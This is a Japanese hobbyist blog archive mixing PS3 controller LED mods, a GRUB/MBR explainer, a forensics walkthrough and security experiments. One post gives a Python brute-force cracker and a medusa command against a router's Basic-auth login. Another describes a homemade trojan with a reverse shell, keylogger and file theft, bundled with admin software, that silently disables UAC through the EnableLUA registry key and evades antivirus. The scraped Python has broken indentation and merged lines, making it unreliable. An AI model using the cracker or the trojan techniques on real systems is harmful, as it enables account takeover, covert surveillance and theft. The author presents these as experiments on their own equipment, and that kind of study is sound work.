DUALSHOCK3 LED組み込み

前記事（PS3 コントローラー改造　LEDを組み込む）でPS3のコントローラーを改造してから数日…

遂にジョイスティックの取り外しに成功しました。

ジョイスティック取り外し編（準備中）→

しかし、残念なことにジョイスティックを移植する事はできたものの、よく解らない動作をしてしまい、

事実上の失敗に終わってしまいました。

コントローラーのないPS３などただのDVDPlayerと一緒なので、急遽新しいコントローラーを購入しました。

購入した翌日、新型コントローラーを改造・分解してみたくなり、中を開いてしまいました。

そのままLEDの付け替えです。

解体編　　　　→

LED付け替え編→

組み立て編　　→

ちなみに購入したコントローラーの型番は以下の通り。

CECHZC2J　　DUALSHOCK3

前持っていたコントローラーの型番は、

CECHZC1J　　SIXAXIS

この２つのコントローラーの違いは、

・中の基盤が全く違う
・RL１２ボタンの間の仕切りがなくなり、後ろのケースにはRL2ボタンを通す穴が用意されている（組み立て簡単）
・PSボタンの所に穴がなくなり、PSボタンを光らせるためには少々手間がいりそう
・センサーシートが差し込み式ではなく、触れるだけのような仕様に変わっていた（説明しづらい）
・振動機能　有り/無し　重量etc...

と、似た目では解ったり解らなかったりするような違いが何か所かありました。

中でもPSボタンの所は少々残念な感じの作りになっていました。

今回はジョイスティックの取り外しなどの必要もないので、コントローラーの1/2/3/4Pを表示している部分のチップLEDを付け替えました。先に完成写真を出してしまうと、このような感じです。1/2/3/4Pの部分。

では、こっから必要な材料や道具を紹介していきます。

　道具：　

はんだごて　＊　２　（HAKO　PRESTO　NO.984-1）

ピンセット　＊　１

　材料：　

チップLED　＊　１　（青・緑・黄）

チップLEDは秋月電子で購入できます。２０個入りで２００円。送料のが高くつきます。

チップLEDのサイズは1608(1.6 * 0.8mm)です。購入したチップLEDのPART NO.は下記の通りです。

・[OSYG1608C1A] 　－　黄緑

・[OSBL1608C1A] 　－　青

・[OSYL1608C1A] 　－　黄

    解体手順：

さっそく解体してみましょう。

SIXAXISの解体や組み立て手順はこちら（リンク）

１．後ろのねじを５本外す。

前型番CECHZC2Jと同じく後ろのねじを５本外します。

ねじ穴をつぶさないように、サイズの合ったドライバーを選びます。

ジョイスティックの間に付いているツメに注意しながら、全体を少しずつ剥がしていき（後ろのふた）下のツメのついているほうから外し、最後にRL２ボタンをくぐらせるような感じで外していく。

２．電池パックを取り外す

電池パックはSIXAXISとは違い、電池パックを支えるパーツがなくなり、電池パック自体にツメが付いています。

電池パックを右か左に少し押しながら、片方を外すような感じでツメを外し、取り外す。

取り外したら、コードの部分を引っ張って基盤から電池パックを取り外します。

赤丸の部分が問題のツメです。

３．基盤を取り外スためにねじを取り外す

SIXAXISと特に変わりはありません。

４．左右のモータのツメを外す

赤矢印のある部分を両サイド内側に押すとツメが取れる、少しモーターが浮いてくる感じ。

５．基盤を外枠から取り外す

６．センサシートを取り外す

DUALSHOCK3はセンサシートが差し込み式ではなくなっているので、上記の写真の赤丸部分２か所をツメから外し、

青丸で囲ってある部分は裏側で棒に引っかかっているだけなので、基盤とシートを支える台を少し浮かして取る。

下写真の赤丸の部分が棒で引っかかっている部分。

写真の通り、信号が出る部分は、複数の四角がある部分が基盤に触れるだけの仕様になっている。

組み立てるとき大丈夫かな？と思うが、棒に通せばずれないようになっているので、問題はない。

    チップLEDを付け変える：

こっからは、1/2/3/4Pを表示しているLEDの部分を付け替えます。

先ほど用意した道具をここで使用します。

１．チップLEDの両サイドのはんだの部分を温める

２．温め、熱が伝わっているのが確認できたら、はんだこてを２本使ってチップLEDを飛ばすように取る

３．新しいチップLEDをはんだの上に配置し、片方を溶かして固定したらピンセットで反対側を少し押しながらもう一方も溶かして固定させる

文章では分かりずらいと思うし、うまく説明できないので動画で確かめてください。

他のサイトでも探せばあると思うので、探してみてください。

これは、かなり適当にやっているけど、実際はもっと慎重にやってください。

※基盤はSIXAXISのものですが、DUALSHOCK3のものとこの部分はあまり変化ないので一緒です。

完成した動画が以下です。

    組み立て：

１．センサシートを裏からつけ、表の部分もツメに引っかけ、基盤に戻す

２．外枠に基盤を戻し、モーターの部分をカチッとするまではめ、ねじを留めたらふたを閉め完成です

忘れずに電池パックなども戻してください。

SIXAXISに比べてDUALSHOCK3の方が分解が簡単です。

しかし、振動を出すためのモーターが白い枠から取り外すことができず（両面テープで固定されてる）

基盤のみの状態にするには、はんだを溶かしたりする手間がかかります。

SIXAXISの方がなんとなく愛着がわく仕様でした。

ブルートフォースアタック 自作 and medusa

結構前の内容なのですがメモのため残しておきます。

今回はpythonでルータの「root」ユーザのパスワードをクラックしてみます。

テスト環境はもちろん自宅のルータです。

設定されているパスワードは３桁。一瞬でクラックされそうな鍵の長さです。

パスワードなしよりは、まだましな程度でしょうか？

ルータはBUFFALO　WHR－G301Nです。

Basic認証のGETのタイプです。

鍵が見つかるとpassword="aa" 119 second のように文字列と経過秒数を表示して終了します。

そして、速度がものすごく遅いので正直使い物にはなりません。

１秒で２～３回程度の認証しかできません。

※追記：１秒で一回だった。スレッド処理なし。

総当たりでは文字数が多くなればなるほど解読に時間がかかるけど、４桁のパスワードだと想定してみても、

36*36*36*36 = 1679616通り

１秒で３回のアタックが可能だとすると

１分あたり１８０回

1679616/180/60　＝　155.52時間

まぁ……一応現実的な時間ですかね？

使えません。

以下がプログラム：　[ brute-force-attacker.py ]

#-------------------------------------------------------------------------------
# Name: brute force attacker
# Purpose:
#
# Author: Administrator
#
# Created: 19/11/2010
# Copyright: (c) Administrator 2010
# Licence: <your licence>
#-------------------------------------------------------------------------------
#!/usr/bin/env python
from urllib2 import *
import time
import base64
user = "root"
password = ""
def brutus(count): if count != 1:
　　for i in range(97,127):
　　global password
　　password += chr(i)
　　if brutus(count-1)==1:
　　　　return 1
　　password = password[0:len(password)-1]
　　else:
　　　　for i in range(97,127):
　　　　　　tmp = password
　　　　　　tmp += chr(i)
　　　　　　request = Request("http://192.168.2.1/index.html")
　　　　　　base64string = base64.encodestring('%s:%s' % (user, tmp)).replace('\n', '')
　　　　　　request.add_header("Authorization", "Basic %s" % base64string)
　　　　　　try:
　　　　　　　　urlopen(request).read
　　　　　　　　print "Success !!\n"
　　　　　　　　print "Password="+tmp+"\n"
　　　　　　　　return 1
　　　　　　except:
　　　　　　　　print tmp
　　　　　　　　pass
def main():
　　start_time = time.time()
　　count = 1 start_time = int(time.time())
　　while(1):
　　　　if brutus(count) == 1:
　　　　　　break
　　　　count+=1
　　end_time = int(time.time())
　　use_time = end_time - start_time
　　print str(use_time)+"second\n"
　　print str(int(use_time)/60)+"minute\n"
if __name__ == '__main__':
　　main()

インターネット上のツール

ネットに転がってるツールとしては、windwos用ではbrutus、Linux用ではMedusa,Hydraなどが有名ではないかと。

自分で総当たり用の辞書を作ってmedusaなどで指定してあげればオンラインパスクラができるので、自宅のルータのパスなどの解読までどれくらいの時間がかかるのかを試してみるといいかもしれません。

medusaを使ってルータのパスワードをクラックしてみる。

実験環境はルータは上記で出てきたBUFFALO製のもの。

攻撃用のマシンとしてはLinux(Fedora15)を使用します。

１．medusaをインストールします

Hydraと違いmedusaはyumからインストールできます。

# yum install medusa

インストールが完了すればmedusaコマンドでオプションを見れるようになります。

２．総当たりに使用する辞書ファイルを作成する

簡単なので辞書ファイルを作成するプログラムをpythonで組んでしまいます。

以下がプログラム　[ make-zisyo.py ]

#-------------------------------------------------------------------------------
# Name: module1
# Purpose:
#
# Author: Administrator
#
# Created: 19/11/2010
# Copyright: (c) Administrator 2010
# Licence: <your licence>
#-------------------------------------------------------------------------------
#!/usr/bin/env python
from urllib2 import *
import time
import sys password = ""
def brutus(count,fd):
　　if count != 1:
　　　　for i in range(97,127):
　　　　　　global password
　　　　　　password += chr(i)
　　　　　　brutus(count-1,fd)
　　　　　　password = password[0:len(password)-1]
　　else:
　　　　for i in range(97,127):
　　　　　　tmp = password
　　　　　　tmp += chr(i)
　　　　　　fd.write(tmp + "\n")
def main(): 　　max_count = int(sys.argv[1])+1
　　count = 1
　　fd = open("bruteforce.zisho","w")
　　while(1): 　　　　if count != max_count:
　　　　　　brutus(count,fd)
　　　　else:
　　　　　　break
　　　　count += 1
if __name__ == '__main__':
　　main()

３．medusaに辞書ファイル・対象ホスト・moduleを指定して実行

表記方法：　medusa　-h　[対象ホスト]　-u　[ユーザ名]　-P　[パスワード辞書ファイル]　-M　[モジュール]

オプションの-uと-pは大文字の-Uや-Pにすることで辞書ファイルを指定できる。小文字ならただの文字列。

今回はパスワードの部分を総当たりで作った辞書で補うのでPは大文字。

そして、実行時間を調べるためにシェルスクリプトを組んで実行時間を計測する。

　プログラム　[ medusa.sh ]

#!/bin/bash START=`date +%s`
medusa -h 192.168.2.1 -u root -P ./brutus.zisho -M http
END=`date +%s`
RESULT=`expr ${END} - ${START}`
echo "${RESULT}: seconds!!"

これでmedusaを使ったパスワードクラックは終了します。

medusaでは上記の同じ条件下で実行した結果25秒程度で終了しました。

実行速度の差を測る必要はありませんね。

遊びで作ったプログラムよりはるかに早く質が高いです。

他のオンライン上のサービスに自分のアカウントのパスワードをmedusaでチェックすると、パスワードが間違っているのに[SUCCESS] と出てしまう。

ブートローダーのお話

ブートローダーと聞いてみなさんはピンとくるでしょうか？

私はなんとなくは解っているけど、詳しくはよく知らない程度の認識でした。

いつもメインで使っているノートPCはLinux(Fedora15)とwindwosのデュアルブートで動いており、

ブートローダーとしては、GRUBを使っています。

しかし、このGRUBがどう動いているのかをまったく理解してない……

自分の使っているシステムなのに、動作をわかっていないのはどうなのか？

ってな感じで興味本位ですが、GRUBまたは、ブートローダーや、MBRについて調べてみました。

まず、ブートローダーとは何か？

ブートローダーとは、OSを起動するためのプログラムです。そのままです。

今回の例ではGRUBというブートローダがWindowsやLinuxのOSの起動を手助けするわけです。

ちなみに、ブートローダの種類としては、GRUBの他にもLILOやWindowsで使われているBootStrapLoaderなどがあります。

・GRUB　（Linux)

・LILO 　（Linux)

・BootStrapLoader (Windows)

次に、MBRについて調べてみます。

MBRとは？

MBRとは、マスター・ブート・レコード、ハードディスクの先頭、コンピューター起動時BIOSから呼びだされるプログラムが入っているところです。

先ほどでてきたブートローダというプログラムを格納しておく５１２Bの領域のことです。

なぜMBRのような領域が必要なのか？

PCの電源を入れてBIOSが起動した後に、OSは一人でにいきなり立ち上がることができません。

PCはメモリ上にある実行コードだけを実行することができます。

しかし、OSはHDDなどに格納されており、電源を入れた直後にはOSはメモリ上には存在しません。

PCのハードウェアだけではHDDに格納されているOSをメモリに読む込むような高度なことはできません。

ここで『オペレーティングシステムをメモリにロードするためには、オペレーティングシステムがメモリに存在していなければならない』というパラドックスが生じます。

このパラドックスの解決方法がこのMBRに入っているブートローダなのです。

BIOSはMBRという領域に入っている小さなプログラム（ブートローダ）を実行し、そのプログラムに次のプログラムを実行してもらい、最終的にOSを呼び出すような感じで多段階ブートしていきます。

↑wikipedia引用↑

GRUBはこのMBRの部分に格納されているブートローダです。正確にはstage1というブートプログラムが格納されています。

起動イメージとしては、

BIOS　→　MBR内のブートローダ（GRUB stage1）　→　２次ブートローダ(GRUB stage2)　→　OS

って感じかな？

ではここからが本題。

GRUBとは？

GNU GRUB(GRand Unified Bootloader)はGNUにて開発されている高機能なブートローダ。

何が高機能なのか？

・ Multiboot Specification （マルチブート使用）

・ファイルシステムを理解できる

ふむふむ。マルチブート使用はなんとなく理解できる。

このGRUBというブートローダはLinuxやWindowsのように複数のOSを選んでブートすることができるということだよね。

次のファイルシステムを理解できる……

どうゆうこっちゃ！？

よくよく調べていくとLILOを理解するとGRUBのファイルシステムを理解できるというのが理解しやすい。変な言葉遊びみたいだ。

LILO

LILOもGRUBと同じようなLinux用のブートローダである。

LILOはブートイメージの保存場所をセクタ位置として認識している。GRUBはセクタ位置ではなくファイル名で読み込める。

ブートイメージの再構築やlilo.confなどの設定ファイルを書き換えた場合は、/sbin/liloコマンドで変更をLILOに通知しなければならない

例１：LILO起動

0x0000　　　　　　　　　　　　0x1234
MBR（LILO) 　　　　→　　　　ブートイメージ　　　→　　起動

例１を見てみる。ブートイメージは0x1234という場所にあるとする。

BIOSから実行されたLILOはブートイメージがある0x1234というセクタの場所を記録している。

この記録されている0x1234セクタの場所からイメージを読み込むのである。

したがって、ブートイメージを再構築したり、場所を変更した場合にはliloにその事を通知してあげなければOSをブートすることができなくなる。

例２：起動失敗

0x0000　　　　　　　　　　　0x1234　　　　　　　　　　　　　　　　　　　 　　　 |　0x5678
MBR(LILO)　　　　→　　　　なし　　　 　→　　　※エラー（ブートできない）　　　| 　ブートイメージ

ブートイメージなどを再構築するとHDDのセクタの位置は変わってしまう。位置が変わった状態を例２で見てみる。

さきほどの例でliloコマンドを実行しないと、LILOはブートイメージの保存場所を0x1234のままだと思ってしまう、実際は0x5678に保存されている。

例２のようになっているとすると0x1234にはブートイメージがないのに、変更が通知されていないので0x1234を読みに行ってしまい、ブートイメージを読み込むことができない。軽い迷子ですな。

LILOは設定ファイルなどを変更するとliloコマンドで通知しなければいけないという手間がかかる。

liloコマンドを実行し忘れたら致命的…

で、これを踏まえた上でGRUBとLILOを比べてみる。今出てきたLILOを見てみればわかると思うが、LILOではファイルシステムを理解できていない。LILOはセクタの位置を記録しているだけだから。ファイルシステムを理解できていたら、カーネルの再構築やlilo.confの設定ファイルを置き換えてセクタ位置が変わってしまっても、ファイル名から起動ができるはずだからである。

……

ピンときましたでしょうか？

GRUBは設定ファイルを変更してもカーネルを再構築してもその変更後のセクタ位置などをGRUBに教えてあげなくても通常通りOSを起動することができる。

これはGRUBがファイルシステムを理解できているからこそセクタ位置などに関係なく実行できるわけです。

しかし、stage2の保存されているセクタの位置をstage1が記憶しているので、stage2のセクタ位置が変わってしまった場合はロードがうまくいかない。

これでGRUBの高機能のファイルシステムを理解できるがわかったと思います。

こんな回りくどく説明しなくても、普通にファイルシステムを理解できるんだろ？ってわかるのが普通かな？

私は理解できなかったので、理解できたときは頭に電球が付きました。

GRUBの動き

[参照サイト]

GRUBはインストールされると、MBRにstage1という５１２Byteのプログラムをコピーします。

/boot/grub/に実際のstage1ファイルが格納されています。

※stage1は全く同じファイルをコピーするのではなく、少し変更されたstage1がMBRに格納される。

　変更される個所は、

　・ 元々 MBR に記録されていた BPB とパーティション テーブルを反映する。

　・ ブート ドライブの種別を記録する

　・ /boot/grub/stage2 の先頭セクタ位置 (LBA) 情報を記録する。

PCの電源が立ち上がり、stage1がメモリにロードされると次にstage1からstage2がロードされる。

stage2からOSが起動されるという仕組みだ。

ファイルシステムを認識できるのはstage2であり、stage2がHDD内のmenu.lst(=>grub.conf)ファイルを見つけ出して、

grub.confファイルを読み込みOSの選択画面を表示させる。

stage1の構成

0000000 48eb 0090 0000 0000 0000 0000 0000 0000
0000010 0000 0000 0000 0000 0000 0000 0000 0000
*
0000030 0000 0000 0000 0000 0000 0000 0000 0203
0000040 00ff 8000 0001 0000 0800

　[0203]　　　　GRUBバージョン

　[8000]　　　　stage2をロードする番地

　[00010000] 　 stage2の先頭セクタ位置

　[0800]　　　　stage2が使用するセグメント値

stage1の動作

BIOSによって0x07c00にロードされたstage1は以下の動作を行う。

1.stage1の先頭部分はジャンプ命令。メインとなるプログラムがある位置へジャンプ

2.指定BootDrive番号を参照し、0xff（無効ドライブ）でないことを確認。自分の無効ドライブになってない？

3.stage2の先頭５１２バイトをメモリの0x8000へロードする

4.stage2へジャンプし、制御をstage2へ渡す。

こっからstage2の動作も調べようと思ったのですが、まだ調べていません。

なので、詳細はインターネットで探すか、この後にstage2がOSを呼び出すんだなぁ、ってことにしといてください。

最後にMBRの 仕組みについて

[参照サイト]

MBRの構造は下記のようになっている。

ブートローダ（446）｜パーティションテーブル（16*4）｜シグネチャ(2) 　　＝　合計512byte

最初のブートローダ446バイトはもう何回も登場したGRUBなどのプログラムが入る。

次に出てくるパーティションテーブルは、HDD内のパーティションがブート可能な領域なのか？パーティションの開始位置はどこか？などのパーティション情報が入っている。

全部で４つあり、パーティションの制限が４つまでとなっているらしい。拡張パーティションを使えばもっと増やせるが。

最後のシグネチャーは0xaa55が入っている。この値が入っていないと正当なディスクと認められず起動できない。

パーティションテーブルの構造

bootflag(1)

パーティション開始位置[CHS](3)

パーティションタイプ(1)

パーティション終了位置[CHS](3)

パーティション開始位置[LBA](4)

パーティション層セクター数[LBA](4)

bootflagには0x00ブート不可-x80ブート可能のどちらかが入っている。

パーティションの位置が２種類あるが、CHS形式でのパーティションの位置とLBA形式の位置とがある。

現在はLBAのパーティション位置を参照する。CHSでは容量の問題がある。

パーティションタイプはどのOS・ファイルシステムが使用されているかを示す。

grub.conf

[参照サイト]

default=0
timeout=5
splashimage=(hd0,0)/grub/splash.xpm.gz
hiddenmenu
title Fedora (2.6.34.7-66.fc13.i686.PAE)
root (hd0,2)
kernel /vmlinuz-2.6.34.7-66.fc13.i686.PAE ro root=/dev/mapper/VolGroup-lv_root rd_LVM_LV=VolGroup/lv_root rd_LVM_LV=VolGroup/lv_swap rd_NO_LUKS rd_NO_MD rd_NO_DM LANG=ja_JP.UTF-8 KEYTABLE=jp106 rhgb quiet
initrd /initramfs-2.6.34.7-66.fc13.i686.PAE.img

title Windows XP
root (hd0,0)
chainloader +1

default=0:

制限時間後に、１番目のOSを起動させる。この例では、windowsXP

timeout=5:

制限時間。５秒でdefaultのOSを起動させる

splashimage=:

OS選択画面で表示させる背景画像

hiddenmenu:

メニューを表示させない

title:

OS選択画面上で表示される文字列

root:

どのパーティション上のOSか。

例：root(hd0,0)　１つ目のHDD内の最初のパーティション

kernel:

呼び出されるカーネル。　ro root=で、どのデバイスをルートディレクトリに指定するのか。

initrd:

[参照サイト]

RAM上に展開されるファイル

WindowsXPの欄にあるchainloader+1とは(hd0,0)のパーティションの先頭にある、

Wundows用のブートローダであるIPLを起動する。

後半かなり手抜きになった気がするけど疲れてしまったのでおしまいにします。

本当はもう少し書きたいこともあったのだが、頭があれで何も浮かんできません。

stage1のプログラム載せたり、アセンブラで書かれているstage1を解析がんばったり……

この記事で間違ってることや、他の情報がある方はコメントください。

参照サイトをリンクしとくので興味ある人はどうぞ。

↓↓他のサイトも↓↓。

・ブートコードの実行

・チェーンロードの考え方

・Linuxぶーとあっぷの仕組み

PS3 コントローラー改造 LEDを組み込む

こんばんわ。

前回、PS3初期型がYLoD(yellow light of death)でお亡くなりになられてから数か月…

今度はコントローラーが異常をきたしてきました。おもに左スティックが！！！

初期型本体は、一回ドライヤー戦法で数日復活したのですが、また止まり、

最後はヒートガンでチャレンジしたのですが亡くなられた感じでした。

ヒートガン買うお金を新型に投資しろとか思うかもしれないですが、どうせ買い換えるなら解体して、

チャレンジしたくなるというのが男の子…

とどめを刺すのもオーナーの仕事。

で、今回もどうせ買い換えるならと解体しました。

参考にしたのは、「ザザンの神様」

しかし、残念ながらジョイスティックを外すことができず、数時間もの戦いを繰り広げたのち持ち越しにすることにしました。

半田をある程度取ったんだけどジョイスティックが恐ろしいほど外れない。

意味が分かりません。

※ジョイスティック取り外し編はこちら（準備中）

とのことで、気分を変えてPS3コントローラーのPSボタンを光らせることにしました。

ネットで調べてみると、チップLEDを使う方が多いようですが、私はそのようなものをたまたま持っていたりしません。

なので、前に電子工作で大量購入した箱に入っていた青色LEDを使用します。

今回PSボタンを光らせるために使用したコントローラーの型番は以下の通り。

DUALSHOCK３ではない方です。初期型のコントローラー。振動機能なし。

　PS3コントローラーの型番

CECHZC1J　　SIXAXIS

→DUALLSHOCK３の分解手順はこちら←

解体手順　　 →

LED取り付け →

組み立て手順 →

    解体手順：

1.コントローラを開けるときは後ろのねじを５つ外せば背面のふたが開きます。

ふたを取るときに下の部分（左右ジョイスティックの間）にツメがあるので、開かなくても無理に開けようとしない。

２．リチウム電池を外し、電池パックの支えと基盤を支えるねじを外す

まず青丸で囲ってある部分を抜きリチウム電池を取り外す。外すと、真ん中あたりの赤丸のところにねじがあるので外し、

左右の電池パックを支えている白いブラスティック状の枠を外す。少し外側に押しながら押すとすぐ落ちる。

※注意することとして、電池パックの上のリセットボタンのカバーをそのまま落とし、なくさないようにする。

３．コントローラの外枠から基盤を外す

基盤をそっと外すと下記の写真のようになる。ジョイスティックのくるくるの部分は引っ張ると取れる。

４．センサーシートを取り外す

基盤からセンサーになっているシートを取るため、赤い四角で囲まれた部分を外す。端っこの青丸の部分を交互にひっぱていくと取りやすい。（邪魔だったら先にセンサーシートと一緒に付いてる黒い板を先に外してもいい）

５．ジャイロセンサーを取り外す

ジャイロセンサーのコネクタ部分を外す、爪があるので交互に引っ張ってけば外れる。

６．解体終了

こんな感じにばらばらになる。

    LED取りつけ：

１．基盤からLEDに電力供給するための配線を取る

赤丸で囲ってあるところは（＋）の電力がきており、青丸で囲ってあるところは（－）GNDである。

本当か？と疑いたくなる場合はテスターで測ってみるといいでしょう。自分で確かめるのが一番いいです。

リチウム電池をつけ、PSボタンを押してテスターで測るだけです。

２．LEDを適度な大きさに切断する

LEDはそのままの大きさだとPSボタンを力いっぱい押さないといけなくなるため、適度に透明のプラスティックの部分を切り落とします。赤色の部分がだいたい切り落とした部分です。ニッパーで無理やり切り落とします。

３．LEDを先ほどの導線にはんだ付けする

赤丸の部分は通さないでください。組み立時にリチウム電池を支えるプラスティックが入らなくなります。

４．黒い板の穴の部分をLEDの大きさまで拡張し、LEDを付け、基盤を元に戻す

赤丸部分の裏の出っ張りを削り落とし、LEDを埋め込む （LEDのカットが不十分だと穴からLEDの先端が顔を出します）

穴は拡張（切断）しなければ余裕でふたが閉まりません。

    組み立て手順：

こっからは、組み立て編です。組み立ては慣れないと意・外・に・時間がかかる。

１．ボタン・十字キーを配置する

全部ばらばらにしてしまった方は、写真のように十字キーとボタンを配置します。

２．三角形の変な棒を十字キーの上に配置する

十字キーの上に、赤三角のように、三角形の変な棒を配置する

３．シリコンをボタン・十字キーの上に配置する

十字キーとボタンの上にシリコンのぴらぴら配置。

４．センサーシートを取り付ける

センサーとなっているシートを折らないように元の場所に差し込む。

※黒色のプラスティックボードを外してからのがつけやすい

５．ジャイロセンサーを取り付ける

ジャイロセンサーも定位置に付け直す。

６．黒い板を取り外してる場合は、板を取り付けジャイロセンサー、LEDをねじ込む

センサーシートとジャイロセンサーをつけたら黒色のプラスティックの板をつける。

赤丸のところにLEDをねじ込み、青四角の部分にジャイロセンサーをねじ込む

LEDがしっかり穴に入っていれば黒色の板と、基盤がしっかりとくっつくようになっています。

黒色の板と基盤が浮いている場合は穴をもう少し広げてLEDを奥までいれるようにします。

ちなみに、シートと黒色の板は青丸の部分で取り外しできます。

７．仕上げに、基盤を外枠につける

この時、赤四角で囲ってあるシリコンのR1・L1ボタンをしっかり下までもってくる。

１ボタンと２ボタンの間のパーティションは青い線らへんに沿ってしっかり差し込む

差し込んだらとりあえずねじを締める。（基盤をねじで固定させてからのほうが組み立てが簡単）

（RL1ボタン・仕切り）もつける。

↓組 み立て時の動画↓

８．組み立て終了

最後はリチウム電池やリセットボタンなどを再配置し、背面から外枠で閉め、ねじ止めをし直せば終了。

光が強すぎてちょっとあれな感じ……

抵抗を入れていい感じに暗くしたほうがよさそうな光の強さ。

Pythonで簡易版トロイの木馬を作ってみる

pythonを使い簡易版トロイの木馬を作成してみた。

目的としては、勉強のためと、pythonを使ったらどれくらいのステップ数で作れるのかを試してみたかったからです。

実装した機能としては、

・「リモートシェル」

・「ファイルのアップロード・ダウンロード」

・「キーロガー」

・「システム情報取得」

・「リモートデスクトップ（ベータ版）」

などです。のちのち機能の一つ一つについてリンクを張っていく予定です。

トロイの木馬とは？

トロイの木馬とは他のexeのソフトにバインドされていたり、img.jpg.exeなど拡張子を隠したファイルであったりします。

トロイの木馬はダウンロードしただけでは実行されず、ユーザが直接実行させる必要があります。

たいていは気づかずに実行してしまいますが、よほどの新種でない限りウイルス駆除ソフトに引っかかると思います。

インターネットで拾ってきたトロイの木馬作成ツールなどの場合も生成したexeはほとんどの確率で引っかかります。

crypterなどで、生成したexeを難読化しても変わりませんでした。

起動されると遠隔操作や、ファイルの収集などいろいろな機能が備えられています。

トロイの木馬の動き：

トロイの木馬を実行し、制御するには２種類のソフトが必要になります。

まずは、ユーザ（対象ホスト）にしかけるためのserver.exe（トロイの木馬）

server.exeを操作するためのclient.exe（トロイの操作用）

流れ的には、

１．ユーザ（対象ホスト）にserver.exeがバインドされたソフトをダウンロードさせ実行させます

２．攻撃者はclient.exeを実行させておきserver.exeからの接続を待ちます。

３．コネクションが張れたら、任意の機能でリモートPC（対象ホストの）を操作するといった感じです。

簡易版としては、通信時の暗号化や、豊富な機能を備える必要はないので、簡単な処理になると思います。

server.exeからの接続を待つ理由としては、インターネットを介した通信をするとき（ルータ）ファイアーウォールが有効になっているので、

外部からの一方的なコネクションは張れません。攻撃者から感染ＰＣは×。

なので、攻撃者側のポートをあらかじめ開けておき、そこに接続させると簡単にいきます。

これをreverse_tcpといいます。

上記例では、感染PCには外から接続することができないので、自分側のファイヤーウォールの1234番ポートを解放してます。

通信路が確立できたらその通信路を使いコマンドを感染ＰＣに送り、やりとりします。

今回作成したトロイの木馬は「windows7・vista」と「windwos xp」では少し違った挙動をするようにしています。

windwos7・vistaでの問題点

windows7やvistaではアクセスコントロール（ＵＡＣ） が機能しているため、管理者権限で実行しなければレジストリの書き換えなどができません。

そこで、実行させるときは管理者権限で実行しなければいけないソフトとバインドして実行させます。

管理者権限で実行させるソフトと一緒に実行させればserver.exeも管理者権限で実行されるので問題がなくなります。

実行され、レジストリに登録され、次回起動時もserver.exeを自動実行できるように設定したとしても、ＵＡＣの機能のおかげで再起動後はユーザ権限での実行になってしまい、ユーザディレクトリより上の階層にはファイルのアップロードなどができません。

そこで、初回の実行時にレジストリ登録と一緒に、ＵＡＣを無効に設定しておきます。

レジストリをいじってＵＡＣを無効にすると、ユーザには通知が行かないので、知らない間にＵＡＣが無効になっています。

ＵＡＣを無効にしておけば、後はＸＰと変わりはなくやりたい放題になります。

自分的に、windows7のＵＡＣは結構機能しておりウイルス実行などに対して有効だなと思いました。

↓ＵＡＣを無効にするときにいじるレジストリ↓

Software\Microsoft\Windows\CurrentVersion\Policies\System￥EnableLUA

※再起動後にＥｎａｂｌｅＬＵＡは０（無効）になる。再起動後しなければ反映されない。

実行時の画像

server.exeからの接続待ち中。

・どれか一つのPCを選ぶと次の画面が開く。

・リモートシェルの実行画面

（ipconfigの結果画面）

・ファイルマネージャー

・キーロガー画面

以上のようになります。自作したトロイなのでＦＵＤ（ Fully UnDetected（完全に未検出） ）です。

このような自作プログラムはウイルス対策ソフトに検知されないので、なんらかの別の対策が必要だと思います。

怪しいプログラムは実行しないや、ハッシュを見てそのソフトウェアが正当なものかなど、いろいろやるべきだと思います。

これに関連して、レジストリの変更を通知・表示してくれるwindows7用のガジェットを作成しようかと思っています。

こったものでなくても、軽くガジェットとして変更を表示してくれれば、わかりやすそうです。

ステップ数:

server.exe(.py) 644行

client.exe(.py)　638行

合計　1282行

デジタルフォレンジック

デジタルフォレンジックとは、簡単に言うとハードディスクなどに入っている、電子データを解析すること。

裁判などで、押収したPCのメールや画像などの電子データを解析し、証拠として提出するときなどに使用するらしい。

正直一般のひとには全く関係のないことだけど、HDDやUSBのデータを解析できるというのはちょっとおもしろい。

まぁ、これはツールでよくあるものだけど、消えてしまったデータを復元したい時などにデジタルフォレンジックを使えば、上書きされていなければ復元できる。

ものはためしに、自分のUSBメモリー４GBを使って挑戦します。

今回はDEFT-Linuxという、

デジタルフォレンジックを行うためのツールが一式入っているLinuxを使って行います。

ではさっそく。

http://www.deftlinux.net/

からDEFT-LinuxのLive-CDのisoをダウンロードしてくる

CDブートで起動し（自分は仮想マシンでisoファイルを読み込ませた）、一番上のStart DEFT Linuxを選択。

このままだとCUIでの操作になってしまうので、startxでグラフィックモードに移行

少し待つとグラフィカルな画面に代わる。

まずは、イメージファイルの保存場所をマウントさせる

外付けのUSB（大容量）を接続し、mount pointを指定し、マウントさせたいドライブの上で右クリック → mountを押す。

すると写真右のほうにマウントのアイコンが出るので、クリックする。

これでイメージファイルを保存する場所を確保できる。

イメージファイル（今回はUSB４GB）を作成するため、左下のボタンをクリックし、computer Forensic → Guymagerを選択する

GUYMAGERで開いた画面には、今接続されているストレージが表示されるので解析したいストレージを選択し、

右クリック　→　Acquireを選択する

今回はUSBメモリ（４GB）を使用するため、一番上のSKYMEDI_USB_DEVICEを選択した。

Acquireを実行するとFile formatや保存時の名前、保存場所などをきいてくるので入力し、OKを押す

今回の例では、

保存場所:/mnt/deft-linux

(写真では、/root/Desktop/になっているが、間違え！)

ファイル名: 　usb-device(4GB)

OKで実行し、しばらくまつとStateの部分が緑色の丸に、Finishedに変わる。

指定した保存先にさきほどの名前（usbdevice4gb）の.ddファイルと.infファイルが作成される。

イメージファイルの作成ができたので、さっそく解析に入る。

左下のボタンを押し、computer forensic →　Autopsy forensic browserを選択する。

次の画面が開かれるので、NEW CASEを選択する。

Case Name　　　　: teset-case

Description　　　　: comment

investigator names: test-user

適当でもOK。

NEWCASEを選択する。

次に進み、デフォルトの設定のままで下のADD　HOSTを選択し、image選択に進む。

ADD　IMAGEで先ほど作成したイメージファイルを指定する。

自分の場合は、mnt/deft-linux/usbdevice4GB.dd

NEXTを選択する、

・data ignoreはHASHを 取っていなければigonoreのままでOK.

・file system detailsはファイルシステムを選択するのだが、デフォルトのままでそのファイルシステムを指定してくれているはず。

違う場合は自分で変える。

ADD→OKを選択で、ついに解析の準備が整った！

C:/を選択し、ANALYZEで実行。

あとは、自分の好きなモードでいろいろいじくってみる。

終了。

FILE ANALYSISでデータをダウンロードしたり、いろいろなこと見たりできるけど、細かすぎてわからないのも結構あった。

とりあえずは使ってみて慣れるしかない。

python py2app & py2exe

py2exe,py2appはpythonプログラムを実行形式に変換するためのライブラリです。

自分で作った.pyプログラムをexeにしたい時に使用します。

exe化ソフトは他にもありますが、py2exeは使い方も簡単でオプションもそれなりにあり使いやすいです。 
